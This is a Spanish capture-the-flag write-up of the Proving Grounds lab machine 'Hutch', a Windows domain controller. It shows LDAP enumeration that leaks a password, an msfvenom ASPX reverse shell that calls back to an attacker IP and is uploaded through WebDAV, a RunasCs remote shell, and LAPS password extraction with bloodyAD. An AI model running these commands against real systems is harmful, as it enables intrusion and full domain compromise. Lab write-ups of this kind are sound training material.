Inicializando interfaz segura...0%
mem: 0x0000pid: 1000
SYSTEM ONLINE

v2.0.4 // SECURE

~ / ops / hutch.es.md

Hutch

30 de enero de 2025 | Proving Grounds | medium
#windows #ldap #information-disclosure #webdav #laps #active-directory

Hutch Banner

Detalles

  • Sistema Operativo: Windows
  • Dificultad: Medium
  • IP Address: 192.168.108.122
  • Autor: AETH3RON

Resumen

Hutch es un Controlador de Dominio Windows de dificultad Media que destaca los riesgos de la divulgación de información dentro de los servicios LDAP. El acceso inicial se establece recuperando credenciales sensibles ocultas en un campo de descripción de usuario, que luego se aprovechan para explotar un servicio WebDAV mediante subida de archivos sin restricciones. La escalada de privilegios se logra abusando de los derechos extendidos LAPS para recuperar la contraseña del administrador en texto claro.

Enumeración

Nmap

Comenzamos escaneando el objetivo para identificar puertos abiertos y servicios en ejecución.

nmap -Pn -sS -sV -p- 192.168.108.122 -oN nmap-basic

escaneo nmap básico

Realizamos un escaneo más agresivo sobre los puertos relevantes.

nmap -Pn -sS -sC -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985 192.168.108.122 -oN nmap-common

escaneo nmap completo

El escaneo confirma que es un Controlador de Dominio (Puerto 88, 389) ejecutando IIS (Puerto 80). El output de Nmap para el puerto 80 sugiere que WebDAV está habilitado, potencialmente aceptando métodos PUT y MOVE.

Web

Intentamos fuerza bruta de directorios para descubrir rutas ocultas.

gobuster dir -u http://192.168.108.122/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

resultados gobuster

La fuerza bruta no da resultados. Navegar al sitio revela la página de inicio por defecto de IIS.

interfaz del sitio web

WebDAV

Dados los indicios de Nmap, comprobamos la configuración WebDAV usando davtest.

davtest -url http://192.168.108.122/

resultados davtest

El servidor responde con “Authorization Required” — WebDAV está activo pero requiere credenciales.

LDAP

Sin credenciales web, nos centramos en el servicio LDAP (Puerto 389). Usamos nxc para comprobar el binding anónimo.

nxc ldap 192.168.108.122 -u '' -p '' --users

enumeración nxc ldap

Listamos exitosamente los usuarios del dominio. Para profundizar, usamos ldapsearch para consultar todos los objetos de usuario e inspeccionar sus atributos.

ldapsearch -H ldap://192.168.108.122 -x -b "DC=HUTCH,DC=OFFSEC" -s sub "(&(objectclass=user))"

consulta ldapsearch

Explorando la salida, descubrimos una filtración de información crítica. El usuario fmcsorley tiene una contraseña almacenada en el campo description:

filtración de credenciales LDAP

  • Usuario: fmcsorley
  • Contraseña: CrabSharkJellyfish192

Acceso Inicial

Con credenciales válidas, volvemos al vector WebDAV. Verificamos si fmcsorley tiene permisos de escritura.

davtest -url http://192.168.108.122/ -auth fmcsorley:CrabSharkJellyfish192

davtest con credenciales

¡Éxito! El usuario puede subir archivos, incluyendo extensiones ejecutables como .asp y .aspx. Generamos un payload de reverse shell con msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.185 LPORT=4444 -f aspx > shell.aspx

payload msfvenom

Usamos cadaver para interactuar con el share WebDAV y subir nuestro payload.

put shell.aspx

subida con cadaver

Con el listener activo, disparamos la shell navegando a http://192.168.108.122/shell.aspx.

disparando la reverse shell

Recibimos conexión como iis apppool\defaultapppool.

callback del listener

Movimiento Lateral

Somos una cuenta de servicio. Para escalar, necesitamos impersonar a fmcsorley, cuyas credenciales ya poseemos. Usamos RunasCs para spawnear una nueva shell como este usuario.

. .\Invoke-RunasCs.ps1 Invoke-RunasCs -Username "fmcsorley" -Password "CrabSharkJellyfish192" -Command cmd.exe -Remote 192.168.45.185:4444

invoke runascs

El comando se ejecuta exitosamente y recibimos un segundo callback como fmcsorley.

shell de movimiento lateral

Escalada de Privilegios

Para identificar vectores de escalada dentro del dominio, ejecutamos SharpHound desde la máquina víctima.

.\SharpHound.exe -c All --zipfilename loot.zip

Transferimos el zip a nuestra máquina atacante e importamos en BloodHound. El análisis revela un camino crítico: el usuario fmcsorley tiene el permiso AllExtendedRights sobre el objeto del Controlador de Dominio. Esto le permite leer el atributo de contraseña LAPS.

análisis bloodhound

Para explotar esto, usamos bloodyAD desde nuestra máquina Kali para consultar el directorio LDAP y extraer el atributo ms-mcs-admpwd.

bloodyAD --host 192.168.108.122 -d hutch.offsec -u fmcsorley -p 'CrabSharkJellyfish192' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

recuperación laps con bloodyad

¡Recuperamos la contraseña del Administrador en texto claro! Iniciamos sesión con evil-winrm.

evil-winrm -i 192.168.108.122 -u Administrator -p 'H(lY+;M8vClGoi'

evil-winrm como administrador

Ruta Alternativa con bloodhound-python

Es posible comprometer esta máquina sin subir nunca una webshell. Una vez descubiertas las credenciales de fmcsorley en la enumeración LDAP inicial, podríamos haber procedido directamente a la enumeración del dominio desde nuestra máquina atacante.

bloodhound-python -u fmcsorley -p 'CrabSharkJellyfish192' -d hutch.offsec -ns 192.168.108.122 -c all

recolección bloodhound-python

Esto habría dado el mismo hallazgo: fmcsorley puede leer la contraseña LAPS, omitiendo por completo la explotación de WebDAV.

Impacto de Negocio

Esta cadena de ataque demuestra cómo la divulgación de información a través de servicios LDAP mal configurados puede escalar hasta el compromiso total del dominio. La exposición de una contraseña en texto claro en atributos LDAP — una mala configuración común en entornos empresariales — proporciona acceso autenticado inmediato. La posterior explotación de WebDAV para ejecución de código resalta el riesgo de dejar protocolos legacy de compartición de archivos habilitados en servidores web. La escalada final de privilegios mediante la recuperación de contraseñas LAPS subraya una ironía crítica: la misma herramienta diseñada para mejorar la seguridad de contraseñas de administrador local puede convertirse en un vector de escalada cuando sus permisos de lectura están mal definidos, otorgando a los atacantes acceso de administrador de dominio.

Referencias